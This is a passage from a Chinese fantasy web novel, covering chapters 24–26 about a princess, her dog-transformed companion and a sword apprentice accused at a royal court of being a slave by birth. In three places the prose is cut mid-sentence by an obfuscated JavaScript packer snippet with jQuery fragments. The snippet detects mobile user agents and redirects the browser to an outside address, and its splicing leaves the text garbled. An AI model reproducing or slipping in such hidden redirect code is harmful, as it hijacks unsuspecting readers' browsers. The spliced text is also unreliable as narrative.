他们中有人认出付微尘,用手指着大笑道:“哇,是付微尘!你可以再念一遍那首诗吗?就是那首,那首!”
说话的男孩子掏出终端机对着付微尘和任侠拍照,任侠明显羞得不行,简直想再次趴到地上和大理石融为一体,付微尘倒是泰然处之,甚至对着镜头微笑。
凄辞暮飘到镜头前并招了招手。
改造人侍卫冒出来,“啪”地一声打掉终端机,用毫无感情的机械声说:“检测到非法摄录皇室成员行为,未经许可记录皇室生物特征已构成犯罪,立即执行羁押管理。”
“我没拍公主呀!我没拍啊啊啊啊——”
晓晓脸上的笑快维持不住了,她扭头调整表情,同时压低声音问:“这人谁带来的?”
尼尔不着痕迹地往后躲了躲,和刚才的男孩划清界限,他没想到男孩蠢到公然拿殿下的老师取乐。就算背地里管付微尘叫过气网红,也无法改变人家是女皇面前大红人的现状,女皇还钦点她做公主的剑术老师。
凄辞暮把所有人的表情收在眼底,她假装没看见,介绍道:“这位是任侠,剑仙付微尘的弟子,明年要去修真综合学院读书。”
立刻有机灵孩子察觉到公主的意图,大声问:“殿下,您说的学校还招人吗?我也想去读书,能跟着付剑仙学剑吗?”
一时间,恭维声、惊叹声和赞美声围绕在任侠身边,付微尘轻轻把他向前一推,告辞后御剑飞走了。
当天晚上,任侠被热情的少爷小姐们淹没,他明显从没见过这样的场合,但努力地学习着适应着。等宴会散场,人都走光,晓晓对他说:“殿下心思细腻,特意嘱咐我把场地定在这里。任侠你看,今晚的宴会厅是不是很合适?”
晓晓故意这么问,她想表达的是:殿下为了你费尽心思,我把话柄递给你,你还不快感激殿下?
任侠眨了眨眼睛,忽然指着晓晓裙摆上不小心沾到的油渍说:“这个用牙膏涂一下就能搓掉了。”
晓晓怔在原地完全不知道怎么接话,凄辞暮自然地说:“知道啦!幸亏你告诉她,否则裙子不能再穿了。老师来接你了,你路上小心。”
“嘿嘿。”任侠傻笑两声,被付微尘接走了。
“真是……”晓晓语无伦次,“真是有趣的新朋友。”
对今晚宴会上的贵族来说,制式的礼服才可能穿第二次,这种小宴会上的裙子穿一次就收进衣橱吃灰,年末集中扔掉,不可能洗完再穿。
凄辞暮轻描淡写:“赤子之心。”
晓晓不敢接话。
转天,任侠被召进宫做陪练,付微尘跑去开会。
训练场上,任侠忽然问:“殿下,我昨天是不是说错话了?”
“已经过去的事就不要再想了。”凄辞暮回答,阿草配合地叫了两声。
任侠挫败地叹气,训练场里只有他们两个人和一条狗,他看起来比昨天开朗一点也镇定一点,他说:
“万化维度有句话叫穷人的孩子早当家,我以前总被夸赞懂事,现在看来,我懂的‘当家’无非是些最底层的生存技巧,怎么把自己喂饱,怎么把衣服洗干净,怎么忍受苦难,真正的人情世故却一点也不懂!”
对练完后两个人都很累了,凄辞暮坐在场边抱着阿草休息,他却自我惩罚般一下又一下挥剑:“如果时间能加速就好了,我要快速长大,变成一个成熟厉害的剑士,有实力后再学人情世故也不迟。”
“慢慢来。”凄辞暮不知道如何安慰他,“老师当上剑仙后,你家情况肯定会好一些。”
“我家……”任侠紧紧闭上嘴,不说话了。
其实凄辞暮恨不得他多说一点,甚至可以带有表演性质地夸大情绪。这种情况她见的多了,她分得清哪些是真哪些是假,有些人即使带有表演的成分,感情也是真实的,比如付微尘在她面前大谈梦想。
但很明显,任侠不愿多说。年少
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15034930|160626||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的公主殿下不理解他,也没有多问。
如果由成年后的朝暮来评价他们,只会说他们都没有错。任侠出身低却颇有天份,他相当迷信吃苦论,认为自己只要足够努力,吃足苦头,总有一天能像老师一样位列剑仙。他本能地讨厌人际关系,讨厌向别人诉说自己糟糕的家庭,甚至有一点清高,觉得这种行为是卖惨。
而年少的凄辞暮则带着一种自己察觉不到的高高在上,从出生就享有的权力把她塑造成一个自认为有同情心的高位者。她天生就手握资源,她的一句话就能决定别人的命运,她习惯了一种模式:别人向她求助,她犹如救世主般降临。
诚然,这会给她带来满足感,让她觉得自己被需要了,自己被接纳了,自己是个能理解平民的善良公主。实际上,她从来没设身处地经历过他人的困境,她不可能想到任侠不说话的原因。她不去追问,以为自己给任侠留了体面,以至于后面酿成大祸。
两个孩子谁有错呢?谁都没有错。
“汪汪汪!”
阿草突然从凄辞暮怀里跳下来,冲门口大叫。
罗斯玛丽带着两名侍卫出现在门口,尼尔跟着他们身后。发现凄辞暮的视线看过来,尼尔局促地搓手。
“今天没有阿曼达的课。”凄辞暮说。
罗斯玛丽恭敬行礼:“殿下,提尔雷普先生要见您。”
一名侍卫松开按在尼尔肩膀上的手,尼尔激动地跑到凄辞暮面前,全然不顾呲牙低吼的阿草,他说:“殿下,您能单独听我说句话吗?”
凄辞暮从上到下扫视他,发现他头发和衣服都有些凌乱,很明显,他擅闯训练场被侍卫抓到,然后被罗斯玛丽救了出来。
“有什么事在这里说。”
“殿下——”尼尔哀求地看着她,他的视线扫过任侠,忽然说:“中央大街上有对母子到处找你,是不是你认识的人?”
任侠的脸色当即变了,尼尔继续哀求:“殿下,就一句话!”
凄辞暮用余光留意着任侠,犹豫一下还是同意了。
他们单独走到一旁,改造人侍卫警惕地跟过来,尼尔管不了那么多,他央求:“殿下,下周末在金月大厅有场舞会,您有时间参加吗?”
什么啊?不是关于任侠的事。凄辞暮听到这里已经失去全部兴趣,她刚要拒绝,尼尔却像是舍弃所有社交礼仪般连珠炮说:“是我的生日舞会,求求您了,殿下。如果您没有时间,可不可以送我一束鲜花,或者我来准备生日礼物,只要署上您的名字就好。”
凄辞暮轻轻摇头,转身想走。
“啪!”
尼尔竟然一把抓住公主的手臂,侍卫举起脉冲枪,罗斯玛丽厉喝:“太失礼了,提尔雷普先生!”
“看在、看在我陪您练剑的份上,请您——”
脉冲枪瞄准尼尔的太阳穴,凄辞暮抬手制止:“我们闹着玩呢,把枪放下。尼尔,你把手也放下。”
她注视着面色苍白的任侠,尽量把语气放柔:“家里来人找你吗?先去吧,有尼尔陪我练剑。”
任侠行了一礼,连告辞的话都忘说,转身冲出训练场。
凄辞暮和尼尔用两种神态凝视他远去的背影。
24. 像鬼一样
凄辞暮回头问:“你家里出事了吗,尼尔?”
“不、不是,殿下怎么会这样想?我家怎么会出事——”
“那你为什么看起来比任侠还慌?”
“没没没,我只是太激动……”
“舞会我去不了,不是真心相送的花束我也不会署名,请你离开吧。”她的声音礼貌却冷淡,不知不觉间漂浮起来,居高临下地看着尼尔。
尼尔怔了好久,久到罗斯玛丽想过来把他拉走,他才找回声音,开口就是一句没头没脑的话:“我第一次在训练场看到殿下离地面这么高,我以为您喜欢双脚踩在地面上奔跑跳跃。”
他又说:“您其实挺看不起我这种人吧?”
“哪种人?”凄辞暮问,她可以肯定提尔雷普家出事了,而且还是大事,否则尼尔不会用一副破罐子破摔的语气和她说话。
“我这种随时准备依附您而生的人。”
凄辞暮皱了皱眉,挥手将面色巨变的罗斯玛丽赶走,继续往下听。
“但是我也不想呀,殿下。”尼尔的脸色比任侠还白,“您连我被选中的原因都不知道,我就要被您赶走了。”
他抬手摸了摸头发:“其实我和姐姐一样,天生直发,金色的卷发是烫出来的。因为您三年前参加庆典时夸过一只小泰迪可爱,所以我的家人要求我烫卷发。”
凄辞暮降落到地面,安静地注视他。
“我是来道别的,殿下。”尼尔认真地说,“黄金城琐碎的人际关系压得我喘不上气,陪您练剑是多年来最开心的一件事,我会好好珍惜这段时光。”
不知道哪来的勇气,他一口气说完所有话:“对练的时候我从来没放过水,也没有抱着讨好您的心态,那是我真正的实力,以后、以后——”
“以后有机会再比试吧。”凄辞暮帮他说完剩下的话。
尼尔呆住了。
“但是你还差很远。”她笑了,“不要用你姐姐那套方法练剑,不适合你。”
“轮不到我用剑奴。”尼尔嘟囔道。
他体面地告辞,凄辞暮体面地送别,他们全程没有谈论提尔雷普家到底出了什么事,只作无声的告别。
凄辞暮很快知道提尔雷普家发生了什么。
“禁术……施术的犯人还跑了。”她抱着阿草坐在秘密基地里,不断刷新论坛界面。
【真的是克丽丝霸凌?我和克丽丝一个学校,她平时人很好。】
【你像个洗地的,那是霸凌吗?是霸凌致死后随便抓个奴隶植入记忆伪装成受害者!】
【太可怕了,和去年的戏班子案好像。】
提尔雷普家出事的是尼尔同胞的姐姐克丽丝,阿曼达的生母早年死于重病,他们的父亲在阿曼达十九岁时娶了一位新夫人,生下一对龙凤胎姐弟。
阿曼达那时还不是剑圣,但她在剑术上天赋极高,在经商方面一窍不通。父亲对新出生的龙凤胎给予厚望,克丽丝果然在魔药上很有天赋,相对的,尼尔不太讨父亲喜欢,被送到黄金城等待时机。
克丽丝或许觉得提尔雷普家族在珈蓝维度只手遮天,她竟然在学校霸凌同学,而且霸凌的还是一个小贵族。小贵族姓约尔加,不是没想过告状或转学,但被克丽丝控制住。
克丽丝声称给小约尔加的饭菜中添加了魔药,只有乖乖听话,被当做霸凌取乐的工具,才能每天得到解药。
事情到这一步,不是没有回旋的余地。因为克丽丝说的完全是谎话,没有什么魔药,也没有什么解药,所谓的解药只是家里厨娘手作的巧克力。
即使事情败露了,对提尔雷普家来说最多算个丑闻,相信他们的父亲会砸钱把消息压下去。于是克丽丝更加肆无忌惮地霸凌小约尔加,把生活和学业上的不快全发泄到她身上,然后在即将毕业的某一天告诉她,魔药是假的,是你的愚蠢让你被霸凌,你活该如此,祝你升学后继续被霸凌。
小约尔加自杀了。
提尔雷普家立刻出来给克丽丝托底,然而事情和克丽丝想的不一样,用钱无法完全搞定。死者的父亲拿钱后沉默了,但死者的母亲很难搞,她叫约兰达.约尔加,是平面国的讲师,其导师是记忆研究领域的大教授。据说她性格刚烈,不可能善罢甘休。
幸好死者的母亲一门心思扑在研究上,几乎不回家。提尔雷普们没花多长时间就做出一个决定——使用禁术。
把奴隶整容成小约尔加的样子,植入死者的记忆,制造意外让假约尔加在其母亲面前再死一次,让事情完美收场。
谁也没有想到,死者母亲提前回家,假约尔加还是个半成品,被平面国的记忆研究专家瞬间抓住破绽,案子直接捅到皇家法院,事件被多家媒体曝光。
从霸凌升级成霸凌致死,再到使用禁术,提尔雷普完全控制不住了。
所有替代类法术和物品都是皇室明令禁止的,皇室和贵族们最怕的事情就是自己或亲人被替代。“替代”是最简单最完美的打破阶级的手段,一个奴隶想变成贵族只需要一场替代法术。
据说女皇继位后不久杀过一大批拥有相关法术的术士和修士,相关物品也全被销毁。只有记忆术士从屠杀中活了下来,他们自愿集中到平面国,接受严格的监管,将记忆植入相关的法术全部束之高阁,再也不教授给下一代。
帮助提尔雷普家的就是一个野生的记忆术士,现在术士跑了,后果由提尔雷普家承担。
阿草和凄辞暮坐在一起刷新论坛。
【戏班子案是什么?】
【你不知道吗?去年的大案,班主用禁术替代大贵族,幸亏发现的早,直接全杀了。】
【怎么发现的?】
【那种巫术有个模仿阶段,需要模仿被替代者的一举一动,模仿过程中被发现了。】
“听着像鬼故事。”凄辞暮评价,“有个人暗中模仿你,只为替代你,还挺吓人。”
阿草僵在原地,一动不动。
他听出来了,戏班子案说的就是他被变成狗的戏班子。当时一群人闯进帐篷,二话不说直接杀人,吓得他钻狗洞逃跑。然后他浑浑噩噩流浪半年,一直不知道事情原委。
原来是这样,阿草后知后觉。根本不是什么采生折割变成狗,而是用巫术替代狗。他想起自己被套上西装,高高兴兴地挑选小狗,又被关在笼子里和狗同吃同住。他后来问过老狗,这么做的意义是什么,老狗裂开嘴笑,露出只有三颗牙的口腔
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15037053|160626||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
:“你就当是为了折磨你取乐吧。”
老狗,这个名义上是他师父的男人,竟然是个禁术巫师,阿草是他最成功的实验品,班主是他的第二个实验品,可惜巫术进行到一半被发现了。
“你很害怕吗,阿草?”凄辞暮卡住他的两只前爪,晃了晃他僵硬的身体。
公主殿下把他举高,笑着安慰他:“你放心,没人想替代一只小狗。”
凄辞暮金色的眼睛像熔化的液态黄金,散发着暖融融的热意,阿草却感觉遍体生寒:如果公主知道他也是禁术使用者,会如何看他呢?
——像鬼一样。
公主亲口说的,戏班子案像鬼故事,禁术使用者就是故事里的那个鬼。
阿草扯起嘴角,调动肌肉拉出一个虚假的笑容,话语中带着颤音:“听着怪吓人的。”
“哈哈哈哈你颤音装得还挺像!”
不是装的,他真的在害怕,害怕公主知道后的反应。更可怕的是,他现在和公主亲密无间,白天陪公主上课,晚上窝在秘密基地里一起玩,他完全有机会模仿公主的一举一动……
阿草被自己的想法吓了一跳,他控制不住地去想更长远的事,作为比格犬,他的生长速度实在是太慢了。8岁时禁术初步成功,他是条2个月大的幼犬,5年过去,他的身体看上去也才4个月大。就算公主不起疑心,其他人不会怀疑吗?
“阿草!”凄辞暮大声问,“你怎么又在啃咬手腕?”
阿草回过神,对上公主疑惑的眼神,他突然想起自己前几天提到过去的事,说过在戏班子“工作”。
“我在想,”阿草胡乱编织谎言,“我的身体要是长不大,丹玛斯会不会怀疑我。”
“说你是长不大的品种好了,黄金城的宠物店很流行培育新品种。”
“如果能长大呢?”阿草试探地问。
“你到底能不能长大?”凄辞暮好奇,“你是身体变成狗还是灵魂被塞进狗的身体里?”
她看起来没有把自己和戏班子案联系在一起,阿草松了口气。他转念一想,谁能想到可怕的禁术会被用来替代一条狗?
他放松许多,编造的谎话也有了条理:“不知道,我小时候被前主人卖掉,不记得买我的人是谁,然后一觉醒来变成狗,后来找机会逃出去混进黄金城的宠物店。”
阿草把问题抛回去:“怎么办呀,丹玛斯会不会发现我?”
凄辞暮陷入思考,暗淡的灯光在她的脸上打下一片阴影,从阿草的角度看过去,只能看见她微垂的睫毛和眼下绒绒的影子。说起来很奇怪,她的头发明明是墨一般的黑色,发质又软又直,睫毛却是棕色上翘的,被金色瞳孔明晃晃一照,在光下变成鎏金般的金棕。
她蹲下/身平视阿草,问:“你想变回人吗?”
这一刻,狭小空间中的凄辞暮和那天来店里挑选宠物的公主重叠了,阿草觉得自己仿佛被树脂滴中,封存在琥珀中。
他听见声音从嘴里冲出来:“我不做人了!”
凄辞暮没有问他为什么,只是若有所思地点点头,用很普通的语气说:“我来想办法,不用太担心,丹玛斯没有那么可怕。我们得回去睡觉了,明天早晨还有课。”
25. 从母案
转天早晨没人来给凄辞暮上课,她坐在空荡荡的训练场里,无聊地描摹阿草身上的花纹。阿草像只小狗王八,摊开四肢趴在地板上,被她烦得划动爪子往前爬。
“今天是哪位老师的课?”
“是付剑仙的课,殿下。”罗斯玛丽回答。
付微尘和阿曼达交替上课,下午或晚上安排陪练进宫,以前从没迟到过。
如果迟到的是阿曼达,凄辞暮能理解。提尔雷普家出了禁术事件,即使阿曼达和尼尔远在黄金城,没直接参与,他们也会受影响。
尼尔昨天来找凄辞暮就是想寻求新的庇护者,只要公主殿下对尼尔流露出一丁点喜爱,肯定有贵族愿意帮助尼尔,全当对未来皇夫的投资。
至于阿曼达,她受到的影响比尼尔大。尼尔大不了跑到小维度隐姓埋名,领着信托基金当个普通少爷,可她做不到。
阿曼达作为提尔雷普家族全力捧出来的圣剑士,早早投身到政治中,她和提尔雷普无法切割。眼下的局面,她必须快速站队,找到在黄金城的新位置,否则提尔雷普一倒,她会被迅速清算。
万丈高楼平地起,倒塌后轰然砸下,才不管你是圣剑士还是普通人。可以预见,阿曼达最好的结局是贬到远域维度做镇守,非女皇亲召不得踏出维度半步。
但迟到的不是阿曼达,而是付微尘,凄辞暮很不安,付微尘不像会迟到的人。
“老师是请假了吗?”
“暂时没收到付剑仙请假的消息。”
“联系任侠。”凄辞暮从女仆的托盘里端起茶杯一饮而尽。
罗斯玛丽匆匆执行命令,凄辞暮心不在焉地练习拔刀斩。
她始终摸不到二段拔刀的门槛,离“剑招”差得更远。付微尘最有名的两段招数叫生添寿与煎人寿,任侠勉勉强强给她演示过生添寿,至于煎人寿,任侠也不会。
当时生添寿剑招一出,剑气带着罡风在地面深深犁出一道痕迹,用记忆金属建造的训练场竟然短时间无法恢复原貌。任侠的胳膊也无法恢复原貌,他对这招不熟,用一次扭一次。
他被赶来的付微尘训斥一番,又敷伤药又进医疗舱泡营养液,折腾两个小时才治好。
“联系上了吗?”凄辞暮催促。
罗斯玛丽摇头,一个侍女小跑进来,说凄毓晓在宫外,想见公主殿下。
凄辞暮有种不好的预感:“让晓晓进来。”
晓晓身上穿着校服,像逃课赶来的。
“不去上学吗,晓晓?”
“谢谢殿下关心,我请假了。”晓晓偷瞄一圈训练场,没看见丹玛斯,她迅速说:“上学的路上,我听说一件事,特意来找殿下。”
“什么事?”
“昨天晚上,有对平民母子在中央大街席地而坐,逢人就问知不知道任侠在哪。”
“是任侠的家人吗?”
“是任侠的母亲和弟弟。”晓晓观察凄辞暮的神色,小心翼翼说,“他们今天早晨趁任侠出门,直接往荆棘法庭的方向去了。”
“咚——”
晓晓话音刚落,血誓钟的声浪贴着地面扩散至整个维度,托盘里的骨瓷镶金杯叮当作响,凄辞暮神色巨变。
血誓钟矗立在荆棘法庭外,任何自认蒙受重大冤屈的人都可以用掌心抵住钟杵尖激活审查程序。掌心被钟杵穿透,血液顺着金色纹路流淌,被法阵吸收殆尽。
自此,审查开启,历代皇室最高法院大法官的灵魂碎片被投射在法庭上空,通过他们的集体裁定才能正式立案。
大法官们威严的声音回荡在所有人耳边:
“涉案者无皇室血脉,予以立案。”
“申诉者为自由民,予以立案。”
“案件处于追诉期,予以立案。”
“无禁术痕迹,予以立案。”
……
最后,男男女女的声音交织在一起,异口同声说:
“任巧妹诉任侠违反从母法案成立!”
“啪!”女仆手里的托盘摔落,骨瓷镶金杯滚落一地。
凄辞暮的心瞬间沉到谷底。
从母法,奠定奴隶制的基石。母亲是奴隶,孩子必为奴隶,即使父亲贵为皇室也改变不了孩子的身份。
但民间对从母法执行得不严格,官方也不去纠察,没有别的原因,只因纠察成本太高。女奴生的孩子被主人抱养走,是奴隶们的梦想,别人问起来,主人就说借助人造子宫生的,难道还能强行逼迫他们去做亲子鉴定吗?
抱养行为大部分从婴儿时期开始,等孩子长大了,作为消耗品的奴隶生母也死了,真相永远被掩埋在血肉之下。
前几天,立法司来找女皇,目的是完善从母法,女皇避之不谈,足以证明她的态度。
大臣们私下对女皇的评价是“靖君”,靖的意思是没有变故或动乱,女皇最擅长的就是制衡之术,她用平民出身的能人制衡不断壮大的贵族队伍。
从母法一旦完善,肯定有人“不小心”查出平民出身的大臣其实是奴隶,不是奴隶的也有办法变成奴隶,女皇之前的布局将被打乱。
今天的案子怪异到极点,任侠的母亲任巧妹状告他违反从母法。如果证据确凿,任侠是奴隶,那么原告任巧妹必为帮犯,得不到任何好处。
除非任巧妹根本不想要好处,她想要玉石俱焚。
凄辞暮命令:“立刻去荆棘法庭。”
她一把捞起阿草,带着罗斯玛丽匆匆向外走,正好撞上赶来的丹玛斯。
丹玛斯恭敬问好,说出来的话却不动听:“殿下,请留步。付剑仙事务缠身,已为您找来代课老师,您身为皇储,应当以课业为重。”
“让开,我要去荆棘法庭。”
“琐碎的市井纠纷。”丹玛斯评价,“不值得您耗费宝贵的时间,向您介绍,这位是代课老师——”
凄辞暮打断他:“这是你的意思还是我母皇的意思?”
丹玛斯后退行礼:“是我身为内廷主管应尽的职责。”
“你的提醒很到位,但我要出发了。”凄辞暮点头称赞,抱着阿草越过他,直接登上载具。
丹玛斯保持右手扶胸一躬到底的姿势站在原地送她远去,凄辞暮清楚,等载具走出视线,丹玛斯转身就去告状。
但她管不了这么多,她必须赶在荆棘法庭领域封闭前见任侠一面,告诉他事情不是没有回旋的余地。
荆棘法庭是黄金帝国的皇家最高法院的核心审判场域,和黄金城一同建立,其管辖权覆盖帝国全境。据说开国皇帝用荆棘法庭审判过帝国将军和皇室成员。
血誓钟也是开国皇帝设下的,近百年来钟声从未响过,血誓钟只活在口口相传的故事中。
不是没有冤屈,而含冤者到不了黄金城。凄辞暮吩咐:“去查,任巧妹及其儿子怎么进的黄金城。”
天空和地面全是密密麻麻的载具,空中的交通道被临时分割成五层。周围的载具看见皇室圣冠标志都选择避让,改造人侍卫飞行在两翼帮忙开路,但凄辞暮还是被堵在半道上。
晓晓趴在窗边看:“全是去凑热闹的吗?”
“对他们来说是热闹,对任家来说是两条人命。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059012|160626||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
任侠如果被判刑,肯定顶格按死刑判。他敢以奴隶之身在皇室任职,作为剑术教师助理陪公主上课,在某些人眼里死刑都便宜他,任巧妹作为帮犯也难逃一死。
警署很快出动,迫降所有载具,凄辞暮自然被放行。
“加快速度。”她命令道。
在他们身后,敕令术士齐齐高举法杖:“追加法令——此地禁止升空!”
金袍敕令军执行全维封锁!只有女皇能调动的军队!
“殿下,冕下的口谕。”罗斯玛丽神色凝重,她手里捧着一块带圣冠印记的拟态黄金。
凄辞暮单膝跪下,其余人在她身后跪成一片,女皇疲惫的声音在狭小的空间内响起:“庭审已经开始了,是我让开的,你只许看不许说话。”
“谨遵您的指示。”凄辞暮面无表情地说。
她想对任侠说的一腔话全被锁在喉咙里。
任侠的从母案不是没有回旋的余地,急匆匆开庭连律师都来不及请,全靠任侠自己应对。
首先,任侠的生母是名奴隶,十有八九已经死了,死后尸身一烧,骨灰当做医疗垃圾处理。她不是自由民,没有ID卡,更没有健康档案,也就没有确凿的DNA留存记录,不能和任侠做亲子鉴定。即使任巧妹留了她的毛发作为后手,也不能证明毛发必然是任侠生母的。
其次,黄金城的进出极其严格,任巧妹一个平民用什么名目进来,是不是受人蛊惑栽赃养子,都值得打个问号。
想到这里,凄辞暮问:“查到了吗,任巧妹怎么进来的?”
罗斯玛丽从嘴里挤出来五个字:“付微尘邀请。”
最坏的情况出现了,任侠连师父都瞒着,付微尘不知道他家的情况,邀请他的母亲和弟弟来黄金城玩,还以为是给他的惊喜。
凄辞暮回忆起任侠提到家庭情况时闭口不言的样子,忍住叹息的冲动和不知道哪来的怒气。她的下颌崩得很紧,身体挺得很直,完全是阿草那天在宠物店中见到的公主姿态。
凄辞暮冷静到冷漠的程度,她想:也不是没有好处,至少从侧面证明付微尘完全不知道任侠的家事,不会把付微尘牵连进从母案。
接下来全靠任侠自己,和大法官的良心,凄辞暮回忆皇家最高法院的大法官高语,发现自己对她没有半点印象。
“调取大法官高语的简历。”她立刻命令。
高语,54岁,出身非想非非想维度……凄辞暮一目十行看完,松了口气。高语出身于著名的科技维度,印象里她对所有的派系持保留态度。只要高语不施压,庭审正常进行,任侠不至于想不到她刚刚思考的那些事。
虽然任侠自称对为人处世一窍不通,但他绝对不是蠢人,蠢人无法考进万化仙宗成为付微尘的徒弟。
凄辞暮的背肌肉眼可见地放松,她胡乱搓揉阿草的大耳朵,抬头向窗外看。
宏伟的荆棘法庭就在她面前,千万条流动的金色荆棘如同尘世巨蟒,迅速向中心聚拢,荆棘法庭一旦开庭,庭审结果出来前都会保持完全封闭的状态,防止外界干预。
凄辞暮缓缓从座位上站起身。
隔着无数游动的金色荆棘,她在尖刺中看见一个熟悉的身影——穿戴全套板甲的阿曼达.提尔雷普。
荆棘的缝隙越来越小,年轻的圣剑士似有所感,抬起头望向远方,仿佛在和公主遥遥对视。下一秒,荆棘完全合拢,形成一个表面光滑的金色球体。
“请审判官、审判员入庭!”
庭审正式开始了。
愤怒顺着脊椎爬进凄辞暮的眼睛。
26. 庭审
“本案全网直播公开审理,庭审结束后将全程录像上传至庭审公开网。现在宣布法庭纪律……”
凄辞暮嘴角下压,脸色阴沉得能拧出水,她盯着屏幕上的阿曼达,飞快催动思绪。
出事前,提尔雷普家为了让阿曼达进一步向皇权靠拢,调动资源给她博取一个审判官的职位。从理论上说,皇家法院根本不需要专门的“审判官”,纯粹是为了卖给贵族子弟,取了个好听的名字。
而且阿曼达非法学专业,没有相关知识,一次庭都没开过,她最多和法警站在一起,维护现场秩序。
可是凄辞暮看得清楚,阿曼达正坐在审判长高语的右侧充当审判员。
晓晓一直在观察公主的脸色,她见状立刻调整脸上的表情,狠狠说:“真是什么人都能当审判员了!”
凄辞暮没有接话,晓晓悻悻地闭上嘴。
阿曼达能坐在这个位置,只有一种可能——她迅速站队,站到高喊完善从母法的那群最激进的贵族身边。
激进派要把任侠的案子办成典型案例,采取公开直播的方式激起舆论,用舆论倒逼女皇同意立法。
法庭纪律宣读完毕,坐在正中间的高语发话:“法警,把任侠身上的定身术和束缚用具全部解除。”
“阁下,这恐怕不合规则。”阿曼达说,“任侠是付微尘的弟子,他小小年纪剑术了得,具有一定的危险性,我怕他恼羞成怒杀害他的养母。”
“谁是他养母?”任巧妹怒吼,“我没奴隶儿子!”
“注意法庭纪律!”
任巧妹缩了缩脖子。
高语不紧不慢地说:“他没有辩护律师,解开束缚让他理清思路,想好一会该交代什么。而且,不是还有阿曼达你这个圣剑士吗?付微尘的弟子而已,相信你一招就能制服。”
高语的高一定是高帽的高。
一顶高帽啪叽扣头上,阿曼达只得闭嘴。凄辞暮暗喜,高语的态度相当明确,她不想和激进派站在同一边,也无意偏袒付微尘的小徒弟,不愧是最爱惜羽毛的首席大法官。
另一位审判员生怕被卷进派系斗争,他公式化走流程:“先由原告陈述诉讼请求、事实和理由。”
“任侠是奴隶,不是我儿子!”任巧妹歇斯底里地喊,“你们做个鉴定就能知道真相!”
“原告,你冷静一点。”阿曼达劝道,“这里是荆棘法庭,全宇宙最公平的圣域,你把事情说清楚,自然会还你公道。”
还帮犯公道?屏幕前的凄辞暮差点笑出声。
任巧妹环顾四周,畏惧地瞄了一眼头顶的白色虚影,那是历代大法官的灵魂碎片。她努力平静下来,声音还是发颤:“我叫任巧妹,是万化仙宗山脚下的村民,以种地为生。”
“年轻时,我在父母的安排下和同村的任武结婚,很快怀孕了。我怀孕期间,任武想多赚点钱,便去山上做工。结果不到半年,他把一个受伤的女奴和女奴的儿子带回家——”
“停一下,你说清楚,任武具体去哪里做工,女奴和儿子是哪来的?”高语问。
任巧妹被打断后更紧张了,她磕磕绊绊地说:“他、他去万化仙宗的外门种植峰帮忙,女奴肯定是从宗门带来的!”
“肯定?有证据提交吗?”
“他是个奴隶!你管我要什么证据?”任巧妹脸色涨红,“是不是因为他那个师父,你们都想包庇他?”
“原告,你不要激动,提交证据是正常流程,荆棘法庭没有包庇一说,你注意用词。”
任巧妹不吭声,她缓缓抬头看向任侠,眼睛被眉骨压得很低,雪亮的恨意从发蓝的眼白中迸发,瞳仁却是幽深的黑色,她的声音不抖了:“女奴带来一笔钱,任武莫名其妙有了稳定的工作,条件是让我承认女奴的儿子是我生的。”
“那男孩就是任侠,他当年三岁,已经是记事的年纪了,他知道自己是奴隶,知道自己犯法了。”
偌大的法庭中只有机器人书记员记载笔录的噼里啪啦声,任巧妹的仇恨太惊人了,所有人屏息凝神听她说。
“后来,女奴被抓回山上,任武死了,我独自抚养两个孩子。我含辛茹苦把他养大,甚至让他报考万化仙宗,成了剑仙的徒弟。没想到他忘恩负义,进了黄金城就忘了我们母子俩,我一定要看到他死!”
高语问:“你儿子呢?”
“平安,法官喊你!”任巧妹呼唤儿子。
五秒过去,没人回应她,大家顺着她的视线看过去,看见一个白净的男孩坐在陪审席最后一排扣手指。
“他有自闭症。”任巧妹解释。
高语吩咐:“调取任平安的健康档案。”
“你怀疑他装病?”任巧妹尖叫,指着台上开骂,“他是有自闭症,但他是自由民!你为了一个奴隶去怀疑一个自由民,你配当法官吗?你对得起女皇吗?”
“法警,让她冷静一下。”高语的情绪没有丝毫波澜,“不是怀疑他,是怀疑你。你应该清楚,如果你能拿出确凿的证据,证明任侠是奴隶,那么你肯定构成帮犯罪。”
“任平安如果没有自闭症,那就不是无民事行为能力人,需要承担相应的责任,即使他未成年,不排除你为了保护儿子撒谎的可能。”
“他那么小!有什么民什么力?我知道了,那小奴隶的师父是剑仙,你们包——”
法警的静音术让场上暂时安静,高语低头听汇报。片刻后,她抬头说:“根据健康档案,确认任平安为无民事行为能力人。”
台下,任巧妹拼命指自己的嘴,想要发言。
“原告,再次提醒你注意用词,控制一下情绪。法警,解除限制。”
“我有证据!”任巧妹吼道,“我知道奴隶之所以是奴隶,是因为他们基因劣等,我早晚要被白眼狼咬一口!果然,劣等人的孩子也是劣等人!他怎么敢不管弟弟?”
